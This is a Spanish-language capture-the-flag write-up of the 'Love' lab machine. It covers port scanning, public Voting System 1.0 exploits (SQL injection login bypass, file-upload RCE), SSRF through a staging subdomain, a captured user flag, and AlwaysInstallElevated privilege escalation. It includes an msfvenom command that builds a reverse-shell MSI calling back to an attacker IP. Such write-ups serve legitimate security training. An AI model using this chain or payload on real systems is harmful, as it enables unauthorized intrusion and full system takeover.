//
> nmap -T4 -sS -Pn -n -p- --open 10.10.10.239 -oN First_scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-01 11:14 EDT
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Hacemos escaneo con Script e identificación de versiones de los puertos abiertos:
//
❯ nmap -T4 -sS -Pn -n -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001 -sVC 10.10.10.239 -oN SV_scan
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
| httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|Not valid after: 2022-01-18T14:00:16
| tls-alpn:
| http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NCP, NULL, NotesRPC:
| Host '10.10.14.40' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2025-05-01T18:39:53+00:00; +21m29s from scanner time.
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
| http/1.1
|_http-title: Not Found
Vemos que corre por el puerto 80 :
Observamos que tecnologias se usaron para la web con Wappalyzer:
Utilizamos script http en nmap para enumerar subdominios:
//
❯ nmap --script http-enum -p80 -n -T4 10.10.10.239 -oN WebScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-01 13:10 EDT
Nmap scan report for 10.10.10.239
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/: Possible admin folder
| /admin/index.php: Possible admin folder
| /Admin/: Possible admin folder
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
|_ /includes/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
Nmap done: 1 IP address (1 host up) scanned in 20.24 seconds
Buscamos en searchsploit alguna vulnerabilidad para Voting System:
//
❯ searchsploit voting system
Exploit Title | Path
Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
Usaremos el sql injection php/webapps/49843.txt:
El script funciona asi segun su creador:
//
You can simply bypass the /admin/login.php with the following sql
injection. All you need is a bcrypt hash that is equal with your
random password, the username should NOT match with an existing
Abrimos Burpsuite e intentamos realizar la inyección :
Analizamos la respuesta:
Vamos al panel de Voting System de login y estamos autenticados :
A pesar de que logramos autenticarnos no podemos realizar ningún avance significativo, así que intentaremos probar con otra vulnerabilidad asociada a otro puerto.
En el puerto 443, existen dos subdominios asociados, stanging.love.htb y love.htb para poder verlos correctamente los agregaremos a nuestro etc hosts:
Etc Host con los nuevos dominios incluidos:
Vemos el nuevo dominio:
Para comprobar que funcione listaremos los puertos que no nos deja ver normalmente, como el 5.000:
Esta vulnerabilidad nos puede permitir realizar un SSRF, o falsificación de solicitudes del lado del servidor, esta es una vulnerabilidad de seguridad que permite a un atacante manipular una aplicación web para que realice solicitudes a recursos internos o externos, potencialmente comprometiendo la seguridad de la aplicación y la organización.
Ingresamos al sistema pero es el mismo al que accedimos antes, asi que probaremos con un nuevo escript de searchsploit esta vez el: Voting System 1.0 - File Upload RCE | php/webapps/49445.py.
Modificamos el Script descargado:
Ejecutamos el script mientras estamos en escucha como indica el creador y tenemos éxito, estamos dentro:
Buscamos la primera flag:
//
cd Desktop
C:\Users\Phoebe\Desktop>dir
Directory of C:\Users\Phoebe\Desktop
04/13/2021 03:20 AM
.
04/13/2021 03:20 AM..
04/30/2025 06:02 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4,050,022,400 bytes free
C:\Users\Phoebe\Desktop>type user.txt
9dad3705b62cf77f81c86908fd1615f9
Ahora intentaremos ganar privilegios, lo haremos creando un directoro Privesc dentro de los archivos temporales del sistema y utilizando los binarios de Winpease de Github.
Levantamos un server con python en el puerto 80 y nos traspasamos el Winpeas a la maquina victima:
Al ejecutarlo nos arroja las posibles vulnerabilidades que posee el sistema, estas vulnerabilidades nos pueden convertir en ROOT, escalando privilegios.
Encontramos dentro del análisis AlwaysInstallelevated algo de lo que nos podemos aprovechar.
Para poder usar AlwaysElevated como una vulnerabilidad que nos otorgue privilegios, debemos crear un payload con msfvenom:
//
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.40 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
Una vez creado el Payload, volvemos a abrir un servidor con python y descargamos el payload a la maquina victima:
Ahora instalamos el reverse.msi en la maquina victima mientras estamos por escucha en el puerto 443 y asi obtenemos Privilegios: